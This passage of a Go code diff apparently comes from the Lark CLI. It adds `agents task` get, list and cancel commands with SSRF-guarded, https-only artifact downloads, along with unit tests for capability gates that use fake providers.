+// tests swap it to pass the (interceptable) base client through unchanged so the
+// request/status/read/limit logic can run against an httpmock transport that the
+// hardened client's transport clone would otherwise discard.
+var hardenDownloadClient = func(base *http.Client) *http.Client {
+	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
+}
+
+// NewCmdAgentTask builds the `agents task` command group: query, list and cancel
+// tasks on a remote agent. It is a pure group with no RunE so an unknown
+// subcommand is reported rather than silently swallowed.
+func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "task",
+		Short: "Query / list / cancel a remote agent's tasks",
+		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
+	}
+	cmd.AddCommand(NewCmdAgentTaskGet(f))
+	cmd.AddCommand(NewCmdAgentTaskList(f))
+	cmd.AddCommand(NewCmdAgentTaskCancel(f))
+	return cmd
+}
+
+// NewCmdAgentTaskGet builds `agents task get <ref> <task-id>`: fetch a single
+// task's state and artifacts. `--watch` polls until the task reaches a stop
+// condition and the terminal state drives the semantic exit code;
+// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
+// the backward-compatible default). `--artifact <id>` downloads that artifact
+// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
+// and fetched, an inline-bytes artifact is written straight to disk.
+// Risk=read.
+func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "get <agent_ref> <task-id>",
+		Short: "Query a single task's state and artifacts",
+		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.TaskID = args[1]
+			return agentTaskGetRun(opts)
+		},
+	}
+	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
+	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
+	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
+	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
+	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentTaskList builds `agents task list <ref>`: enumerate the agent's
+// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
+// meta.count. Risk=read.
+func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list <agent_ref>",
+		Short: "List a remote agent's tasks",
+		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			if err := validatePageSize(opts.PageSize); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentTaskListRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
+	addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentTaskCancel builds `agents task cancel <ref> <task-id>`: cancel
+// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
+// an agent that does not support it (task_cancel=false, e.g. example:echo) the
+// command returns unsupported_capability without contacting the API.
+// Risk=write.
+func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
+	opts := &taskOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "cancel <agent_ref> <task-id>",
+		Short: "Cancel (interrupt) a remote agent's task",
+		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.TaskID = args[1]
+			return agentTaskCancelRun(opts)
+		},
+	}
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
+	return cmd
+}
+
+// addAsFlag registers the identity flag: the real API-identity flag when a
+// Factory is present, or a bare --as for construction-time unit tests (f nil).
+func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
+		return
+	}
+	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
+}
+
+// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
+// -o) runs first so it never touches the network and holds under a nil Factory.
+// With `--artifact` it downloads the named artifact to -o; otherwise it
+// fetches the task, optionally polling it to a stop condition under --watch, and
+// emits the task with the terminal state driving the semantic exit code.
+func agentTaskGetRun(opts *taskOptions) error {
+	if opts.ArtifactID != "" {
+		if opts.Output == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"--artifact 需配合 -o/--output 指定落盘路径").
+				WithParam("--output").
+				WithHint("补充 -o <落盘路径> 后重发")
+		}
+		return downloadArtifact(opts)
+	}
+
+	// --timeout only bounds the --watch poll; without --watch it is meaningless.
+	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
+	// so it never touches the network and holds under a nil Factory.
+	if opts.Timeout > 0 && !opts.Watch {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--timeout 需与 --watch 一起使用").
+			WithParam("--timeout").
+			WithHint("加上 --watch（如 --watch --timeout 30s）做有界轮询；或去掉 --timeout 做单次查询")
+	}
+
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Brand gates (offline): whole-agent visibility, then task_get's own scope
+	// (GetTask is core/always wired, so this is normally a no-op).
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	if err := opBrandGate(f, spec.GetTask.Brands, opts.Ref, "task get"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.GetTask.Params, iagents.VerbTaskGet, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+
+	ctx := opts.Cmd.Context()
+	task, err := spec.GetTask.Handler(ctx, rt, opts.TaskID)
+	if err != nil {
+		return err
+	}
+	// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
+	// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
+	// error rather than dereferencing task.State below (the --watch branch would
+	// otherwise panic; the sibling consumers all nil-guard).
+	if task == nil {
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"provider 未返回任务数据（响应无 data）")
+	}
+
+	if opts.Watch && !task.State.ShouldStopPolling() {
+		// A positive --timeout bounds the poll: pollToStop returns the most recent
+		// task with a nil error when the deadline fires (a timeout is an
+		// observation-window close, not a failure), so a long task degrades to
+		// "current state + a fresh watch hint" instead of blocking forever. 0 =
+		// unbounded (the backward-compatible default). pollToStop is unchanged.
+		pollCtx := ctx
+		if opts.Timeout > 0 {
+			var cancel context.CancelFunc
+			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
+			defer cancel()
+		}
+		final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagents.AgentTask, error) {
+			return spec.GetTask.Handler(c, rt, tid)
+		}, opts.TaskID)
+		if perr != nil {
+			return perr
+		}
+		if final != nil {
+			task = final
+		}
+	}
+
+	// Derive IsTerminal from State (single source of truth) before any consumer
+	// — emitTask's output and semanticExitError below both read the flag.
+	notice := normalizeTask(task)
+	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbTaskGet), opts.Format, notice); err != nil {
+		return err
+	}
+	// Under --watch a non-successful terminal state signals exit 1; a
+	// plain get (or a non-terminal stop) is exit 0.
+	if opts.Watch {
+		return semanticExitError(task)
+	}
+	return nil
+}
+
+// agentTaskListRun runs `task list`: resolves the provider, lists tasks
+// (optionally filtered by --context-id) in the provider's most-recent-first
+// order, and emits {tasks:[...]} with meta.count through content-safety scanning
+// (the summaries carry untrusted agent text).
+func agentTaskListRun(opts *taskOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE building the client: a spec that does not wire
+	// ListTasks (card task_list=false) returns unsupported_capability offline.
+	if spec.ListTasks.Handler == nil {
+		return capabilityError(opts.Ref, "task list", iagents.CapTaskList)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.ListTasks.Brands, opts.Ref, "task list"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.ListTasks.Params, iagents.VerbTaskList, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	tasks, pageInfo, err := spec.ListTasks.Handler(opts.Cmd.Context(), rt, opts.ContextID,
+		iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
+	if err != nil {
+		return err
+	}
+	tasks = normalizeTaskSummaries(tasks)
+	// Ordering is the provider's contract (most-recent-first), consistent across
+	// and within pages — the CLI does not re-sort a page.
+	if tasks == nil {
+		tasks = []iagents.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
+	}
+	return scanAndEmitData(f, opts.Cmd, opts.Format,
+		map[string]interface{}{"tasks": tasks},
+		listMetaPage(len(tasks), pageInfo, taskListNext(opts, f, pageInfo)),
+		func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
+}
+
+// taskListNext builds the next-page action for `task list`. The command replays
+// the caller's ref + optional --context-id with the returned cursor. The ref is
+// gated by safeNextRef and the context-id by safeNextID (both user-supplied): a
+// failing value drops the action rather than emitting a command that pages the
+// wrong (unfiltered) set — the cursor still rides meta.page_token as data.
+func taskListNext(opts *taskOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
+	if !safeNextRef(opts.Ref) {
+		return nil
+	}
+	if opts.ContextID != "" && !safeNextID(opts.ContextID) {
+		return nil
+	}
+	base := fmt.Sprintf("lark-cli agents task list %s", opts.Ref)
+	if opts.ContextID != "" {
+		base += " --context-id " + opts.ContextID
+	}
+	next := nextPageAction(base, opts.PageSize, info)
+	carryAsIntoNext(opts.Cmd, f, next)
+	return next
+}
+
+// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
+// (right after resolveSpec, before the client is built): a spec that does not
+// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
+// unsupported_capability without any API access. Only a supporting spec reaches
+// runtimeFor + CancelTask.
+func agentTaskCancelRun(opts *taskOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	if spec.CancelTask.Handler == nil {
+		return capabilityError(opts.Ref, "task cancel", iagents.CapTaskCancel)
+	}
+	// Per-capability brand gate: task_cancel's own brand scope — a
+	// wired-but-brand-excluded cancel returns unavailable_for_brand.
+	if err := opBrandGate(f, spec.CancelTask.Brands, opts.Ref, "task cancel"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.CancelTask.Params, iagents.VerbTaskCancel, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call. A
+	// task_cancel=false agent never reaches here (gated above); it is wired so a
+	// provider that supports cancel is not silently exempt from the all-or-nothing
+	// scope check.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	if err := spec.CancelTask.Handler(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
+		return err
+	}
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
+// under vfs. A URL-type artifact is SSRF-validated and fetched over a
+// download-hardened client; an inline-bytes artifact is written directly. The
+// output path is validated with SafeOutputPath (relative, within the CWD)
+// before any write.
+func downloadArtifact(opts *taskOptions) error {
+	safePath, err := validate.SafeOutputPath(opts.Output)
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
+			WithParam("--output").WithCause(err)
+	}
+
+	// Overwriting a local file destroys its content irreversibly — a high-risk
+	// write. It goes through the same confirmation contract as other --force
+	// gates (config bind): without --force, a would-be overwrite returns
+	// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
+	// symlink at the path counts as existing rather than being followed.
+	if !opts.Force {
+		if _, statErr := vfs.Lstat(safePath); statErr == nil {
+			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents task get --artifact -o",
+				"目标文件已存在，覆盖会不可逆地毁掉本地内容: %s", safePath).
+				WithHint("确认要覆盖后加 --force 重跑，或换一个 -o 路径")
+		}
+	}
+
+	ctx := opts.Cmd.Context()
+	art, err := resolveDownload(opts)
+	if err != nil {
+		return err
+	}
+	// A provider decoding an empty "data" via Call[*ArtifactData] can return
+	// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
+	// carries no downloadable content. Both are provider-response defects — fail
+	// with a typed error instead of dereferencing nil or writing a 0-byte file
+	// (which under --force would clobber an existing local file with emptiness).
+	if art == nil {
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"provider 未返回产物数据（响应无 data）")
+	}
+	if len(art.Bytes) == 0 && art.URL == "" {
+		return errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"产物 '%s' 无可下载内容（provider 既未提供内联字节也未提供下载 URL）", opts.ArtifactID)
+	}
+
+	data := art.Bytes
+	if art.URL != "" {
+		data, err = artifactFetch(ctx, opts.Factory, art.URL)
+		if err != nil {
+			return err
+		}
+	}
+
+	if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
+		return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
+	}
+
+	f := opts.Factory
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		out := f.IOStreams.Out
+		fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
+		fmt.Fprintf(out, "path: %s\n", safePath)
+		fmt.Fprintf(out, "bytes: %d\n", len(data))
+		if art.Mime != "" {
+			fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
+		}
+		// suggested_name is the server-suggested name, for reference only; the
+		// actual on-disk path is already the safePath (-o) above.
+		if art.Name != "" {
+			fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
+		}
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data: map[string]interface{}{
+			"artifact_id":    opts.ArtifactID,
+			"path":           safePath,
+			"bytes":          len(data),
+			"mime":           art.Mime,
+			"suggested_name": art.Name,
+		},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
+// a download-hardened HTTP client from the Factory and reads the body up to
+// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
+// external content, so both the URL and the redirect chain are guarded.
+func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
+	if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
+			WithCause(err)
+	}
+	// Artifact bytes come from an untrusted host over the network; require https
+	// so the payload cannot be read or tampered with in transit. The SSRF check
+	// above already rejects private/loopback hosts and non-http(s) schemes, so a
+	// surviving non-https URL is plain-text http.
+	if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https（拒绝明文下载）")
+	}
+	base, err := f.HttpClient()
+	if err != nil {
+		return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
+	}
+	client := hardenDownloadClient(base)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
+	if err != nil {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
+	}
+	// Read ONE byte past the cap so an oversized body is detected rather than
+	// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
+	// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
+	// A body over the cap is refused with a typed error instead of writing a
+	// corrupt, partial file that would otherwise report success.
+	data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
+	if err != nil {
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
+	}
+	if int64(len(data)) > maxArtifactBytes {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"产物超过大小上限 %d 字节，拒绝下载（避免写入被截断的残缺文件）", int64(maxArtifactBytes))
+	}
+	return data, nil
+}

cmd/agents/unsupported_test.go

@@ -0,0 +1,203 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"sync"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// fakeUnsupSpec is a stub instance spec driving the command-layer
+// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
+// left UNWIRED (nil), so the command layer's nil-gate must return the typed
+// unsupported_capability before any network access. GetTask is wired to return a
+// task whose IsTerminal deliberately mismatches its State (normalizeTask must
+// re-derive it). Send is wired (core, required by Register) but never called
+// here. There is no capability-refusal code in the spec — "unsupported" is
+// expressed purely by the absent hooks.
+func fakeUnsupSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) {
+			panic("unsup provider: Send should not be called")
+		}},
+		GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
+			// Deliberate mismatch: State is terminal but IsTerminal=false.
+			return &iagents.AgentTask{TaskID: taskID, State: iagents.StateCompleted, IsTerminal: false}, nil
+		}},
+		// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
+	}
+}
+
+// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
+// panics on duplicates). Like the other fakes it leaks into the package-level
+// registry for the remaining tests of this package run.
+var registerFakeUnsupOnce sync.Once
+
+func registerFakeUnsup() {
+	registerFakeUnsupOnce.Do(func() {
+		iagents.Register(iagents.Provider{
+			Scheme:        "fakeunsup",
+			Label:         "test fake (unwired optional capabilities)",
+			AgentIDSource: "test only",
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:      fakeUnsupSpec(),
+		})
+	})
+}
+
+// assertUnsupportedCapability pins the full capability-gate contract on err:
+// validation typed, subtype unsupported_capability, exit 2, hint pointing at
+// `agents card <ref>`, and — because the Factory's httpmock registry has zero
+// stubs — no HTTP was issued (any network attempt would have surfaced as an
+// "httpmock: no stub" error instead of the typed one).
+func assertUnsupportedCapability(t *testing.T, err error, ref string) {
+	t.Helper()
+	if err == nil {
+		t.Fatal("an unsupported capability should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T (%v)", err, err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitValidation {
+		t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agents card "+ref) {
+		t.Errorf("hint should point to agents card %s, got %q", ref, p.Hint)
+	}
+	if strings.Contains(err.Error(), "httpmock") {
+		t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
+	}
+}
+
+// TestContextListUnsupportedGated pins the capability gate on `context list`: a
+// provider that does not wire ListContexts returns typed unsupported_capability
+// (exit 2) with the agent-card hint, without any HTTP.
+func TestContextListUnsupportedGated(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &contextOptions{
+		Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
+}
+
+// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
+// `context delete` path (--yes passes, provider does not wire DeleteContext).
+func TestContextDeleteUnsupportedGated(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &contextOptions{
+		Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
+}
+
+// unsupFactory is a small helper for the capability-gate tests.
+func unsupFactory(t *testing.T) *cmdutil.Factory {
+	t.Helper()
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	return f
+}
+
+// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
+// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
+func TestTaskListUnsupportedGated(t *testing.T) {
+	f := unsupFactory(t)
+	opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
+	assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
+}
+
+// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
+func TestContextGetUnsupportedGated(t *testing.T) {
+	f := unsupFactory(t)
+	opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
+	assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
+}
+
+// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
+// does not wire DownloadArtifact, so `task get --artifact` returns
+// unsupported_capability (exit 2) before any download.
+func TestArtifactDownloadUnsupportedGated(t *testing.T) {
+	f := unsupFactory(t)
+	opts := &taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
+		ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
+}
+
+// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
+// declares file_input=false, so `send --file` returns unsupported_capability
+// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
+// network, so no file is opened and no request is issued.
+func TestSendFileUnsupportedGated(t *testing.T) {
+	mkSendFile(t, "whatever.txt")
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
+		Files: []string{"whatever.txt"}, As: "bot", Format: "json",
+	})
+	assertUnsupportedCapability(t, err, "example:echo")
+}
+
+// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
+// provider returning a State/IsTerminal-mismatched task (completed +
+// is_terminal=false) must emit is_terminal=true — the command layer derives
+// the flag from State, the single source of truth.
+func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentTaskGetRun(opts); err != nil {
+		t.Fatalf("task get should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["state"] != "completed" {
+		t.Fatalf("data.state should be completed, got %v", data["state"])
+	}
+	if data["is_terminal"] != true {
+		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
+	}
+}
+
+// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
+// (task list runs its summaries through this helper; context get derives the
+// single active_task's flag inline the same way).
+func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
+	ts := normalizeTaskSummaries([]iagents.TaskSummary{
+		{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: false}, // missing
+		{TaskID: "t2", State: iagents.StateWorking, IsTerminal: true},    // wrong
+	})
+	if !ts[0].IsTerminal {
+		t.Error("completed summary should derive is_terminal=true")
+	}
+	if ts[1].IsTerminal {
+		t.Error("working summary should derive is_terminal=false")
+	}
+	if normalizeTask(nil) != "" {
+		t.Error("normalizeTask(nil) should be nil-safe")
+	}
+}

cmd/api/api.go

@@ -130,13 +130,6 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
 	stdin := opts.Factory.IOStreams.In
 	fileIO := opts.Factory.ResolveFileIO(opts.Ctx)
 
-	if opts.Method == "" {
-		return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"HTTP method must not be empty").
